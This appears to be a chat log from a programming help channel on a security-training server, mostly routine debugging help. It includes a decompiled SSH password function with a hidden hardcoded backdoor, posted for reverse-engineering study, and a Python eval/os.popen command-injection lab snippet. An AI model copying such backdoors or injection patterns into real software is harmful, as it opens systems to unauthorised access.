public items: Observable<MyItemInterface[]>;

constructor ( private myService: MyService ) {}

ngOnInit() {
    this.items = this.myService.get();

    this.utilitiesAggregate = this.items.pipe(
        map( items => {
            return items.reduce(( previousValue, item ) => {
                return previousValue += item.amount;
            }, 0);
        })
    );
}

// template
<div *ngIf="(utilitiesAggregate | async) as utilities">
    <span>{{ utilities }}</span>
</div>
#

something like this

sly frigate
#

I see, so no need to call a method to use a datasource

modern talon
#

Nah, not unless you want to display that table tbh

lilac holly
#

Hello

modern talon
#

A datasource would make sense if you need to display/filter/sort/aggregate lists.

sly frigate
#

But then again, the logic is already been done in the Backend

#

I just need to call that url using a method, right? Or maybe I'm overthinking?

modern talon
#

You already have that, right? A service that performs an http GET call

sly frigate
#

Yes

#

OHHHHH
Gotcha

#

I got confused for a sec lol

modern talon
#

no wuzzas

sly frigate
#

So I'll just get it done

#

Cya

sharp mango
#

Hi friends. I need help with Python. Can anyone help

lyric mirage
sharp mango
#

I have such a code. Due to arrayStrings format on line 35, sent mail is sent empty. There is an error somewhere but I can't see it

vernal vigil
brazen eagle
#

that's possible

sharp mango
#

I'm out of my mind

tulip sail
# sharp mango I didn't understand exactly what to do, sorry

This is general debugging advice which you can apply to this and other things as well:

  • Break the problem down. What should be happening and what is actually happening?
  • Identify where things can be going wrong. What's the logic involved to get the result that you are getting?
  • Put a debugger on those sections (or add print statements)

There, for example, I would suggest printing out linkarray in each iteration of the loop and going from there πŸ™‚

sharp mango
wispy kestrelBOT
#

Gave +1 Rep to @tulip sail

copper bloom
ancient jasper
#

guys what is the best book to study C language ?

onyx merlin
#

The C book is probably the best start?

ancient jasper
#

nice I will look up on it right now

hushed smelt
#

gm kings

magic falcon
#

Richie&Kernigan is one of the best reference books to have, as it was written by the original authors of the C language.

brazen eagle
#

K&R yeah, though be aware that the language has evolved since it was written

magic falcon
#

Yeah

faint sparrow
#

in a context of C# web script it's the same as in any other C# context
it takes either a name of the assembly (dll, exe, raw clr iirc too) or raw bytes of it and loads it into the current runtime returning a ref to the loaded assembly upon completion

#

you can think of it kinda like loading a library in runtime

#

if it was malicious and it loaded something in runtime then the binary loaded might've been some implant that is then executing the commands
obv needs more investigation but you definitely need to look into it

#

πŸ‘€

brave pulsar
#

πŸ‘€

faint sparrow
#

is it some asp web script in a web directory?

#

might be a webshell πŸ‘€

#

well it's not that hard to make a custom webshell and upload it with the known vulnerabilities

#

i wouldn't run it but you can probably analyze it statically if the loaded binary is not sent with the request

#

but definitely should be removed

magic falcon
#

does that load method trigger execution as well (such as an embedded main function) or just bring it into memory?

#

if you have source, i hear rosalyn is the MS tool of choice for static analysis of C# and .NET

#

can't confirm though, i don't touch MS toolchains very much

faint sparrow
#

roslyn is the compiler iirc

#

dnspy/ilspy for disassembling/decompiling CLR

magic falcon
#

ah, I thought I saw an article using it for SAST as well - that may have just been to enable sanitizers?

faint sparrow
#

if you end up trying to analyze it yourself and have questions about some parts feel free to dm me, might be able to help

#

ye ofc, you might not be able to if policy disallows πŸ˜›

tepid sequoia
#

hey anyone hear with machine learning /hnsw/vector database/GAN experience i can ask some niche questions from? :)

lilac holly
#

First time seeing this!

onyx merlin
#

Mozilla MDN is the best

lilac holly
#

Idk if it's the same MDN as a couple of years ago but I hadn't noticed this redesign if it even is a redesign.

onyx merlin
#

Yeah, redesign is somewhat recent but it's really nice

lilac holly
#

Definitely!

tepid sequoia
#

Fast, offline, and free documentation browser for developers. Search 100+ docs in one web app including HTML, CSS, JavaScript, PHP, Ruby, Python, Go, C, C++, and many more.

#

wow that made i much bigger image than i was exlecting

lilac holly
#

awesome. I'm taking this coursera course set on Java specialization and course 1 is about HTML,CSS&JS and so I'm just exploring a bit about it.

#

But I've bookmarked these so thanks! Knew about w3 already.

tepid sequoia
#

devdocs if you go into the settings you can enable the missing languages

#

there are many....

#

and enable versioned docs eg laravel 8 laravel 7 6

#

if your doing java dont forget google docs (micosoft docs has good programming coverage too)

#

thought id one or two more (more short reference than documentation

#

that last one isnt documentation for programming, however you can use it to build custom search engines using google search tag graph as a backend

lilac holly
#

cool stuff thanks

tepid sequoia
#

searches several cve databases exclusively

#

if i typed pinapple it would find me a reference to pinapple and not branch out to the web beyond the scope i set

lilac holly
#

oh that's cool

tepid sequoia
#

i have one for programming computer science windows linux cve and cyber security right now their just public facing engines (limited to 10000 queries a day) however in the process of porting them over to .json api's as i want to display top results from each site as long as the match is over 70%

#

allows for post filtering using tags pulling structured data appending modifiers automatically on your search, (like if you dont want blog posts you can throw in to automatically add -blog}

inner scaffold
#

I could have printed stars but I wanted to do it by printing the whitespaces, so my question is, Have I done it correctly in the 8th line
i==4 && (j==2||j==3))
here I earlier used
i==4 && j==2 || i==4 && j==3
but then I realized I can make it short by doing the former, so is there any way to make it even shorter? Like
i==4 && j==2,3 //this won't work, RIGHT?
I did this first but it didn't worked cz the value of j now need to be 2,3 exactly .

faint sparrow
# inner scaffold https://imgur.com/a/5Vy2d6h

The line contains a valid way of doing it (and that last example would not work as you mentioned) but your approach is not really scalable as you're forcing in the conditions for the inside to be "not drawn"

#

Wouldn't it be better to only make a check, if j is on either side of the range for the 2nd loop and print the border? That way you wouldn't hardcode any values

jolly cove
crystal hemlock
#

do y'all study SQL for hacking into databases

onyx merlin
sullen venture
reef igloo
#
def RSA_Encrypt(msg: str):
    msg = int.from_bytes(msg.encode(), 'big')
    return pow(msg, e, N)

def RSA_Decrypt(ct):
    decry = pow(ct, d, N)
    decry = decry.to_bytes(1024, 'big')
    decrypted = ""
    for i in decry:
        if i:
            print(i)
            decrypted += chr(i)
    return decrypted```
any idea why my code breaks when i encrypt a string of length 33 and above?
#

i get a Decode error as well when i try .decode() im assuming some overflow error?

brazen eagle
#

I'm going to guess that when you go beyond 2^32, an int will no longer be able to hold your number πŸ˜‰

#

also, RSA uses modulo arithmetic

shy vector
#

hey yall what GOARM version should i choose when compiling go for a kali vm on m1?

#

env GOOS=linux GOARCH=? GOARM=? go build

#

also should goarch be arm or arm64

brazen eagle
#

arm64 I'd wager

#

What do the docs say?

spare gull
#
user= "hacker"+str(os.popen("ls").read())+""
me=eval('"Hello '+user+'"' )
print(me)

As a result I get , what could be wrong? I'm trying to use "ls" or any other command within eval() for a Lab

  File "/home/[LINUXUSER]/Desktop/training/test.py", line 3, in <module>
    me=eval(' "Hello '+user+'" ')
  File "<string>", line 1
    "Hello hackercryptohack.pdf
    ^
SyntaxError: unterminated string literal (detected at line 1)```
remote echo
inner scaffold
faint sparrow
#

well the range for each level is 0 to X where X increments with every level, if the value is either 0 or X then you know it's on either end of that range meaning you probably would want to draw a character then

lone sage
#

Traceback (most recent call last):
File "/home/[LINUXUSER]/Desktop/training/test.py", line 3, in <module>
me=eval(' "Hello '+user+'" ')
File "<string>", line 1
"Hello hackercryptohack
^
SyntaxError: unterminated string literal (detected at line 1)

whole yacht
#

blobfingerguns your quotes are borked

spare gull
magic falcon
spare gull
#

Oh sry for misuing. The exercise was a python web app, but I was trying to practice the output of os.popen() in simple code for Command execution. I was just wondering the output didn't work as in app

remote echo
#

Btw, doing eval isn't good, as anyone can just spawn a shell from it!

#

EZ RCE

brazen eagle
#

I think that is the point

winged magnet
#

Should I go for c# or python for making desktop application like (tools for keylogger and reverse shell with gui interface ) for college project

tepid sequoia
#

hmm what graphics framework /compositor do you want, there are tons x) and its an important step do you need 3d rendering or basic menues consol text menus more comprehensive what systens and libraries and systems do you want to integrate with, portability cross platform?

tepid sequoia
#

Hey guys is anyone here a bash wizard (from someone who wrote over a million lines of code last year but only been shell scripting 2 years).? Ive been working on this really cool project for over a year and its close to release and i could use some help bringing it in for public use (beyond my own personal use). But esentially ive made a command line ide of a sort that functions in tty or gui and i would love if someone was interested in some collaboration so others can use it as well (see demo)
https://asciinema.org/a/YlGekzb3abrhJ9WtWHkzpmaXk

asciinema.org

Recorded by rayiik

tepid sequoia
#

reboot

#

oops*

tepid sequoia
#

@onyx merlin actually putting the question here because its more programming related but basically im compiling obs using vs code using visual studio (32 and 64 bit) and it uses the new CMAKE format ive tried accomplishing this several different ways (mingw64, ninja, compiling from linux) and im missing something knowledge wise in the process (not sure what) so one of my questions is at what point in the process is a binary created (launcher).

onyx merlin
#

I don't do visual studio

tepid sequoia
#

perfect thanks

#

was going to ask that next πŸ™‚

magic falcon
#

If you are getting an error while compiling, usually it's more helpful to ask stack overflow or the language docs. Much wider audiences there

onyx merlin
magic falcon
#

Oh, gotcha. Let me dig up some references from my library on compiler functionality then

#

Compilers: Princples, Techniques and Tools 2nd Ed is the best textbook and the most recommended

tepid sequoia
#

πŸ™‚ yea looking for deeper understanding of the process rather than an answer to a problem πŸ™‚ ohh ill check that out

magic falcon
#

There are also programming specific tooling to help you develop a language; you may get value out of that process as well. ANTLR and MPS are the two tool-chains I know of to create domain-specific or general-case programming languages

onyx merlin
magic falcon
#

Going through the process of designing a language will also give you some deeper insights into the steps of compiling than cruising geeksforgeeks. Not that I'm slamming g4g, overall it's a very good introduction to a lot of compsci topics

onyx merlin
#

it's also probably massive overkill for most people

tepid sequoia
#

nice, yea thats one thing i wish my networking admin diploma had was core computer science there's a lot of gaps in my knowledge

#

iim a huge document reader so will probally pour through both

magic falcon
tepid sequoia
#

yea let me put it this way on my school, after graduatating (2 months ago) i didnt know how http requests worked (do now but would have been a fucking helpful topic). X)

tepid sequoia
#

and thanks its going to take me some hours to go through this but great resources πŸ™‚

#

quick followup mps meta programming system?

magic falcon
#

It's a tool by jetbrainz, acronym sounds about right

tepid sequoia
#

kk yea the one i was looking at ;_

inner scaffold
#

What is the char* in this c code?

#

what do we call them?

vernal vigil
#

Pointer

ancient jasper
#

Hi i need help in c

#
#include <stdio.h>
#define ALPHA 26 /* the number of 
characters */
/* 
 *  Write a program to print a histogram of the frequencies of different characters 
 *  in its input. *
 */
int main()
{
        int c, nc, i;
        char charArr[ALPHA];
        int nfreq[ALPHA];

        nc = i = 1;
        for(i = 1; i < ALPHA; i++){
                charArr[i] = i + 'a';
                nfreq[i] = 1;
        }

        i = 1; /* incase i need it */ 

        while((c = getchar()) != EOF){
                ++nc;
                if( c >= 'a' && c <= 'z'){
                        ++nfreq[c - 'a'];
                }
                else if(c >= 'A' && c <= 'Z'){
                        ++nfreq[c - 'A'];
                }
                else
                        continue;
        }
        printf("The number of characters is : %d", nc);
        for(int cha = 1; cha < ALPHA; cha++){
                putchar('\n');
                printf("%c : ", charArr[cha]);
                for(; i < nfreq[cha]; i++)
                        printf("*");

        }
}
magic falcon
#

Is this homework?

ancient jasper
#

i'm reading the c programming language

#

this is the output ``` The number of characters is : 91
a : ***********
b :
c :
d :
e :
f :
g :
h :
i :
j :
k :
l :
m :
n :
o :
p :
q :
r :
s :
t :
u :
v :
w :
x :
y :
z :

#

it just counts the character a i don't know why

ancient jasper
#

i fixed the initialization value i made it 0 and i added these two lines to my code to see where is the error it's in the final part but i don't know why it's wrong this is what i added ``` for(int j = 0; j < ALPHA; j++)
printf("\nThe number of characters in the character %c is %d", charArr[j], nfreq[j]);

ancient jasper
#
nvm I solved the problem           
The number of characters is : 25
a : 
b : *
c : 
d : *
e : ***
f : 
g : 
h : *
i : *
j : 
k : 
l : **
m : **
n : *
o : **
p : *
q : 
r : *
s : *
t : *
u : 
v : **
w : 
x : 
y : 
z : 
umbral pasture
onyx merlin
#

A char star 😎

civic dagger
#

Can anyone translate this wack ahk script into python, i'll highly appreciate it. I'll cashapp.

^s::
sleep 2
loop ,
{
sleep 15
CoordMode, Mouse, Screen
MouseMove, 35, 693, ; Copy # from list from terminal.

send { left down 20 }
send {left up}

MouseClick, left
MouseClick, left
sleep 2000
send ^c
MouseClick, right
sleep 1000
MouseMove, 784, 206, ; Move to location to paste.
MouseClickDrag, right, 784, 206, 785, 209
send ^v
sleep 2000
send ^x
}

send % A_LoopField

tepid sequoia
#

hey guys not sure if this should go in programming or else where, but ive recenly had a couple bugcheck crashes and im currently looking at the mem dump in windbg when i open it it jumps right to a specific line and highlights it (im assuming that this is where the error occurs?) πŸ™‚ i can provide more details but i want to have a look first and see what i can find out i just need to know if im in the right place or if the highlighted line means something else

true pumice
civic dagger
#

it wont let me show you my screen shot, but thats exactly what im doing... i want to get some work done thats all and get a better understand .

#

@true pumice think you can help, that will be awesome..

true pumice
#

Well here’s what you would need to import at the top of your file:

time - time.sleep(seconds)
pyautogui - for mouse functionality (might need to google this)

#

But what are you trying to accomplish with this script?

civic dagger
#

im a cybersecurity student, i found a new info gathering technique its just been a hassle to get it to work... multi-step first linux, then windows, and ends in an android emulator...

true pumice
#

Info gathering technique?

civic dagger
#

yea. never heard of info gathering, first step of the methodologies of hacking

lyric eagle
#

!docs verify

narrow terraceBOT
lyric eagle
#

To share images

civic dagger
#

Thanks bud.

tepid sequoia
#

@true pumice would it not alse need an import keyboard for the send ^c or does pyautogui include kbd?

#

i could be wrong my pythons sub par, X) to many projects not enough hours.

tepid sequoia
#

is it ironic if a program for creating cross platform java apps does not itself come as a cross platform app?

queen salmon
#

i have this list of value pairs. does anybody know how to calculate the relative frequency of every pair here? the sum of all is 2886.

#

the list is
a 134
b 55
c 98
and so on

sly breach
#

Hello, any javascripters here? I am in the process of learning and my first "project" is converting kelvin to celcsius, then to fahrenheit. I've written the solution, but is there a better way of solving this/is my understanding (from the comments I've written) correct?

const kelvin = 293; //kelvin will never change

const celsius = kelvin - 273; //celcius is 273 degrees lower than kelvin

let fahrenheit = celsius * (9/5) + 32; //forumla for fahrenheit - we will round it up so a let variable is used

fahrenheit = Math.floor(fahrenheit); //rounds fahrenheit

console.log(`The temperature is ${fahrenheit} degrees fahrenheit`);
sly breach
#

I think I'm understanding it so far. I'm actually really quite enjoying picking up JS which is a very new feeling for me and programming (I usually hate it personally)

#

The only thing I'm kinda confused about is when you'd do something like

const myName = 'Ben';
let myAge = '22'; 
 
console.log('My name is ' + myName + 'My age is ' + myAge + '.';
```VS
```javascript
const myName = 'Ben';
let myAge = '22';
 
console.log(`My name is ${myName}. My age is ${myAge}.`) 

I guess readability?

#

is it always better to go with the second snippet? That would make more sense to me

onyx merlin
sly breach
#

Ah you're a star

onyx merlin
#

So yeah tl;dr it's basically the same but there's added features

sly breach
#

So from what I understand is:

  1. readability
  2. don't have to escape characters if you're using things like """ and "'" in the string
  3. linebreaks / multiline
onyx merlin
sly breach
#

Perfect

#

thanks so much. I knew what I needed to google but didn't quite know what to type / how to phrase it haha

#

This is actually rather fun I can't lie

mortal briar
#

Does anyone have any challenges on python or js?

tropic minnow
mortal briar
tropic minnow
#

At the top right of this page there's a pin icon

mortal briar
#

Thank you I saw it

brazen eagle
#

Template literals are better imo

tepid sequoia
brazen eagle
#

That one isn't

#

Ah wait hacker rank is

halcyon sphinx
brazen eagle
#

Concatenation is slower than templating iirc

#

At least there are usually more allocations done for each intermediate string

nova oyster
#

Quick question: why do some THM modules have 'View Site' while others are in a VM?

onyx merlin
nova oyster
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

glossy parrot
#

hi, do you know any site that teaches how to make a site for free?... ik this is a random question hahahaha

tall karma
#

Hello guys! I need someone to look at my code please, and tell me what is wrong with it

#

import java.util.ArrayList;

public class PrimeDirective {

public boolean isPrime(int number) {
    return false;
    for (int i = 2; i < number; i++) {
        if (number % i == 0) {
            return false;
            if (number % i == 2) {
                return true;
             } else if (number < 2) {
                    return false;

public ArrayList<Integer> onlyPrimes(int[] numbers) {
    ArrayList<Integer> primes = new ArrayList<Integer>();
    for (Integer number : numbers)
        if (isPrime(number)) {
            primes.add(number);
            return primes;
        }
}

public static void main(String[] args) {
    FindingPrimeNumbers pd = new FindingPrimeNumbers();
    int[] numbers = { 6, 29, 28, 33, 11, 100, 101, 43, 89 };
    System.out.println(pd.isPrime(112));
    System.out.println(pd.onlyPrimes(numbers));

}

}

}

magic falcon
#

have you tried doing step through debugging in your IDE?

#

And, is this homework?

stoic badger
#

alternatively, have you tried just reading what you wrote and following the exact logic as opposed to what you think should happen?

tall karma
civic dagger
#

Not all hackers are programmers, but all programmers are hackers...

halcyon sphinx
tall karma
#

Thanks I already solved it

tall karma
#

partly

tepid sequoia
lilac holly
#

hey guys the previous day i decided to pick up python again and it doesnt go so well

#

the problem that i am encountering in this programm is that even if i find the word from the other text file it will still show "no word has been found"

vernal vigil
#

else statement would run because it didnt encounter a break in the for (if you intended to do that)

#

plus always a good idea to close your file, after processing is complete or use a with statement

lilac holly
#

thank you for your answer i appreciate it

tidal plover
#

Hi everyone, I heard that C++ is way better than Python because Python would be to dependant, what does it mean ?

faint sparrow
tepid sequoia
#

@tidal plover yes but that seems like a weak argument (and biased) considering python is used in many many many different areas and can be compiled as welll

tulip sail
#

Side note, that also sets off pretty much every AV under the sun -- something about the fact that no professional developer would try it. The only time you're likely to encounter compiled Python is if it's a hurriedly thrown-together tool written by someone who only knows Python; chances are that's gonna be a newbie hacker

onyx merlin
magic falcon
onyx merlin
#

By reading that, it looks like the ecosystem is lovely and fragmented

magic falcon
#

It really is.

#

the pyc files basically fill the same role as the 'compiled' java bytecode files. Making python both compiled and interpreted, assuming the python vm is creating the pyc files and not just keeping the interpreted code in memory

tulip sail
#

Yeah, but either way you need the dang interpreter! kekw

#

Well, the runtime

tepid sequoia
#

i was more hinting at cython

onyx merlin
tepid sequoia
#

its supposted tk be a half step between the two is my understanding

onyx merlin
#

Embedding c/cpp in python

tepid sequoia
#

not cpython

magic falcon
#

it's not really a half step. It can give better performance than python by itself, because the C/CPP code isn't reliant on the python vm to execute, it executes natively

onyx merlin
tepid sequoia
magic falcon
#

but that also means you can have a lot more compatibility issues if you are trying to port code across architectures... which breaks python

onyx merlin
#

Yes those screenshots are from the homepage

tepid sequoia
#

ya sry saw that

onyx merlin
#

Cpython is the reference implementation of python

tepid sequoia
#

but the slogan is python at the speed of c

onyx merlin
tepid sequoia
#

no dont think so but i just woke up so

onyx merlin
#

It's not fast python, it's C that is basically wrapped by python

tepid sequoia
#

cython is a super set of python that alkows compilation of python to c code and c code to Python modules

onyx merlin
# tepid sequoia cython is a super set of python that alkows compilation of python to c code and ...

The Cython language is a superset of the Python language that additionally supports calling C functions and declaring C types on variables and class attributes. This allows the compiler to generate very efficient C code from Cython code. The C code is generated once and then compiles with all major C/C++ compilers in CPython 2.6, 2.7 (2.4+ with Cython 0.20.x) as well as 3.3 and all later versions. We regularly run integration tests against all supported CPython versions and their latest in-development branches to make sure that the generated code stays widely compatible and well adapted to each version. PyPy support is work in progress (on both sides) and is considered mostly usable since Cython 0.17. The latest PyPy version is always recommended here.

onyx merlin
tepid sequoia
onyx merlin
onyx merlin
#

Ok, and where in the page is the compilation of Python code to C code?

tepid sequoia
#

third paragraph the compiled code

#

compiled c code

onyx merlin
#

I really encourage you to take some time learning how it works and how you can use it

tepid sequoia
#

yes you seem to think were arguing but that's what I said python compiled to c

onyx merlin
#

I think you're misinterpreting the goal of the project

onyx merlin
graceful agate
#

Nuikta doesn't do this.. I thought it did

tepid sequoia
#

i dont see how as original discussion started with a statement that learning c++ was better to learn than python exclusively based on the fact of dependencies and my statemebt was to weakness of that argument

onyx merlin
#

It doesn't remove the dependency of the cpython interpretere/env required

tepid sequoia
#

yes but is that reason enough to say that c++ is a better progamming language to learn exclusively on that one condition?

onyx merlin
tepid sequoia
#

well thats what my comment was adressing

onyx merlin
#

Except it was incorrect

tepid sequoia
#

how so? after all im the one who made the statment and it was a weak argument it laked substance singular in nature and something that doesnt necessarily make c++ a better language to learn l

onyx merlin
tepid sequoia
#

ok but even so if thats not reason enough to chose c++ then it is still a weak argument

onyx merlin
#

That's not my argument to justify.

tepid sequoia
#

im not saying theyre arnt but on that one factor it is not enough to say that you should ignore Python and chose c++

onyx merlin
#

Ok so disagree with that argument and explain why rather than saying python can be compiled and saying that it's not an issue when it definitely still is?

tepid sequoia
#

but it is compiled may be to a different language but everything gets boiled down to binary for the machine to read and its more a matter of regression

onyx merlin
#

It requires it.

#

Saying "it all ends up as machine code" is ignoring the whole fundamental divide between compiled and interpreted languages

tepid sequoia
#

not really, it requires an interpruter yes does it require local libraries does c code directly interface with the machine as binary? again were talking one level of regression difference its where as one all systems have the interpruter that converts to binary theres a difference of one step.

onyx merlin
#

This argument is in bad faith and I'm not interested in continuing it.
Please spend some time learning about compilers and interpreters, it's clear you don't get the difference.

tepid sequoia
#

so let me ask you cython can also compile to .c which can be embedded into c programs which then do not require python to interpret so how is this not compiled?

onyx merlin
#

I'm not interested in continuing it.

tepid sequoia
#

w/e its a legitimate question though

#

i used to be like you,so focused on disproving the tinyist incorrect statements that often boil down to incorrect choice kf words at time and the need to prove i was always right so focused in i missed peoples intentions and it stopped being about helping people and it be came a thing of superiority yes you know more about the minutia than i do but you miss the point and while you may at a very detailed technical level be correct the point of my statement wasnt to be correct it was to have the original asker be open minded and not close the road to Python just because someone said that one thing was better.

onyx merlin
#

A fundamental misunderstanding about what you're talking about isn't a tiny detail.
I don't disagree that python is a viable option, but I think if you're justifying python then you should at least do it with correct statements.

hollow tangle
magic falcon
hollow tangle
#

The shared libraries are standalone because the cython transpiler will include all of the object definitions into the emitted C code and then compile that instead of including the Python.h header and linking to libpython.so

#

However the end result when using cython is you have a native shared library which can be imported into python code and used like a regular python library without having to worry about ctypes to call any of your functions

#

You can link to that library directly from C or C++ but since the functions you write in Cython include python bindings for objects and return values, your C code will have to include that

#

It makes sense to use Cython if you are writing a library which requires a lot of computation and needs to have good performance but since these libraries can only be used from python most libraries will include the python C bindings manually to use their C/C++ code

#

That way they can have a version of their library which can interface with other applications along with a version of their library which can interface with python without having to rewrite the core of it from C/C++ to Cython

halcyon sphinx
onyx merlin
halcyon sphinx
#

@onyx merlin i did googling but was unable to understand.

magic falcon
#

Context is key to understanding how a variable is used

onyx merlin
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

halcyon sphinx
onyx merlin
#

That's not a helpful statement from me btw

#

It was a joke because ctx means context as the first link says

halcyon sphinx
#

Ok no worry

#

Often i stucked at understanding English..

magic falcon
#

And, I made a largely-unhelpful pun about reading and understanding code.

onyx merlin
tepid sequoia
#

@juun ty that makes sense from what i had read it looked like the python was compiled i had missed your earlier renarj about it being hybrid @onyx merlin i am taking what you said to heart and am reading compilers principles, techniques & tools my misunderstanding lay absolution seperation of compiler and interpreters. one of my wrong assumptions was that just because a component was compiled it was compiled program, my original statemnt was built on the misconception that because it had compiled parts that it was fully compiled, and you recognized that missunderstanding which i can now work to correct, so thank you. and im also sorry, some time I just truely dont understand and it doesn't make sense and im trying to sort through so much shit and i get defensive, however when im wrong i acknowledged it and i appreciate that more than your silence

wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

sleek inlet
#

i have a scripting question
if you are writing your own custom terminal tool,is there a way to wrap other commands(for example, i want to run SSH within the script with provided details)?
all the ways i have tried included manual stdin and stdin streams which doe'snt really work well for a TTYL interface

onyx merlin
sleek inlet
#

is there a way to get the entire stream of inputs and outputs of another command? in some ways, "merging" or "mounting" to that new process?

lyric eagle
#

@sleek inlet - I'm very familiar with writing custom scripts/cli tools ... feel free to DM me anytime, or hop into voice chat when I'm online

#

happy to chat and help out if you want/need πŸ˜„

rancid forge
#

Does anyone program in Rust? If yes, what resources did you use for learning?

vernal vigil
#

Loved it!

halcyon sphinx
lilac holly
lilac holly
#

Thanks!

steady igloo
#

Hey guys I'm doing some reversing to a binary file and this function called auth_password


/* WARNING: Could not reconcile some variable overlaps */

int auth_password(ssh *ssh,char *password)

{
  Authctxt *ctxt;
  passwd *ppVar1;
  int iVar2;
  uint uVar3;
  byte *pbVar4;
  byte *pbVar5;
  size_t sVar6;
  byte bVar7;
  int iVar8;
  long in_FS_OFFSET;
  char backdoor [31];
  byte local_39 [9];
  long local_30;
  
  bVar7 = 0xd6;
  ctxt = (Authctxt *)ssh->authctxt;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  backdoor._28_2_ = 0xa9f4;
  ppVar1 = ctxt->pw;
  iVar8 = ctxt->valid;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;
  pbVar4 = (byte *)backdoor;
  while( true ) {
    pbVar5 = pbVar4 + 1;
    *pbVar4 = bVar7 ^ 0x96;
    if (pbVar5 == local_39) break;
    bVar7 = *pbVar5;
    pbVar4 = pbVar5;
  }
  iVar2 = strcmp(password,backdoor);
  uVar3 = 1;
  if (iVar2 != 0) {
    sVar6 = strlen(password);
    uVar3 = 0;
    if (sVar6 < 0x401) {
      if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
        iVar8 = 0;
      }
      if ((*password != '\0') ||
         (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
        if (auth_password::expire_checked == 0) {
          auth_password::expire_checked = 1;
          iVar2 = auth_shadow_pwexpired(ctxt);
          if (iVar2 != 0) {
            ctxt->force_pwchange = 1;
          }
        }
        iVar2 = sys_auth_passwd(ssh,password);
        if (ctxt->force_pwchange != 0) {
          auth_restrict_session(ssh);
        }
        uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
      }
    }
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
#

I managed to understand that backdoor is a string that contains hardcoded characters, which I wrote down on my notes
Now im trying to understand kinda like the process that it does to this string
But I kinda don't understand that while part
And I can see it is actually XORing the string, so it must be now a XOR encrypted value. Am I right?

light raptor
#

Does anyone know how to display nmap output on a webpage using flask?

supple halo
#

I'm quite good in python.. any advice on a useful programming language to learn for this field?

magic falcon
#

for automation, python. for windows, C#. For everything, C.

supple halo
#

Thanks

rocky knot
fervent phoenix
#

Hi everyone!

I am looking for recommendations for a good Python for cybersecurity course, please? (not a generic course, but one specifically focused on cyber)

I have basic Python knowledge (mainly used Codecademy), but I find learning Python so much easier (and more fun!) when the projects are related to cybersecurity, hence my question.

I saw cyber-focused Python courses onΒ  Coursera, Udemy andΒ  YouTube, but I would love to hear your recommendations.

Appreciate your feedback!

tulip sail
rocky knot
#

And blackhatpython

sleek inlet
wispy kestrelBOT
#

Gave +1 Rep to @lyric eagle

hollow moon
#

And store that in a variable

#

You can then access the output stream through variable.stdout and the error stream through variable.stderr

lyric eagle
tepid sequoia
#

@sleek inlet you can do it with bash using both named pipes (harder) and coproc #coproc spawns a coprocess as a subshell and generates an array that's populated with two elements if no name is given it defaults to ${COPROC[1]} and ${COPROC[0]} and where ${COPROC[1]} connects to the standard input of the sub-process and ${COPROC[0]} the standard output of the sub-process, this array is accessible from the parent shell and sub-process and they are run asynchronously

lilac holly
#

I'm trying to get this to determine if user-input is part of this array. If input is = an animal on the list then the output is nice!

If not, then output is mean.... It keeps telling me there are too many arguments in line 13

Do I need to list every single input option out manually? Why won't it just reference all from the list, or am i missing something?

vernal vigil
#

its because you have to specify if the file should be handled as binary or text mode

halcyon sphinx
vernal vigil
#

decode to utf-8?

faint sparrow
#

b64encode also returns bytes, so if you want to print it as a string, you'll need to .decode() it back

faint sparrow
#

yes i know

halcyon sphinx
faint sparrow
#

but b64encode returns bytes

#

so if you want to print it without the "b''" as you said

vernal vigil
#

you have to convert it back to a string

faint sparrow
#

then you need to .decode() it

vernal vigil
#

so decode to utf-8 format

faint sparrow
#

i just told you how to do it

#

.decode() it

faint sparrow
#

jb

#

istg

cold cloak
#

szy bb

faint sparrow
#

you do this and i'll go back to watching james forshaw

#

ok?

cold cloak
#

nah, you know how I am with python

#

im currently making a C++ string encoder anyway πŸ˜„

queen jolt
crystal light
#

I need some help with Z3py, I'm trying to get Modulo to work in solve(), but I get an error about Z3 expecting Integers, the numbers I am using are very long (about 100 numbers each), I was wondering if there is a way to do it or if it is just impossible due to how Z3 is made.

#
from z3 import *

C = <LONG_NUMBER>
E = 3
N1 = <LONG_NUMBER>
N2 = <LONG_NUMBER>
N3 = <LONG_NUMBER>

x = Int('x')

solve(x ** E % N1 == C, x ** E % N2 == C, x ** E % N3 == C)
#
Traceback (most recent call last):
  File "/home/user/Downloads/solve.py", line 14, in <module>
    solve(x ** E % N1 == C, x ** E % N2 == C, x ** E % N3 == C)
  File "/home/user/.local/lib/python3.9/site-packages/z3/z3.py", line 2537, in __mod__
    _z3_assert(a.is_int(), "Z3 integer expression expected")
  File "/home/user/.local/lib/python3.9/site-packages/z3/z3.py", line 107, in _z3_assert
    raise Z3Exception(msg)
z3.z3types.Z3Exception: Z3 integer expression expected```
queen jolt
queen jolt
#

Search it on stackoverflow

crystal light
crystal light
queen jolt
queen jolt
#

It must be something related to expressions as far as I know

crystal light
crystal light
queen jolt
#

Ok cool

crystal light
#

It just ran for the past 2 hours and didn't work so I quit it

silk lotus
crystal light
silk lotus
#

To give you the scale

#

There are ~10^80 atoms in the universe

#

I can try to work on it numerically later today when I have time but my knowledge of math is intermediate so i can't give you any guarantee

cerulean robin
#

Can anyone help me with programming in C++

crystal light
#

I might have gotten a completely wrong idea though, I’ll have to check it out later

silk lotus
#

If this is true^

#

The problem narrows down to calculating lcm(N1,N2,N3)

crystal light
#

And C is the same for all 3 Ns

#

Somehow

silk lotus
#

What is Ms?

#

Message?

crystal light
crystal light
silk lotus
#

Ok

silk lotus
crystal light
#

I also guessed E

silk lotus
#

You should factor the integers, which is particularly difficult

silk lotus
#

You have that x^exp=lcm(N1,N2,N3) + c

#

There should be some more number theory tricks because x^exp is a power but I cannot think of anything rn

cursive orchid
#

error: ```
<class 'Exception'>, AttributeError("'BlindSQLi' object has no attribute 'payload_types'")

#

so confused as to why i'm getting this

stoic badger
#

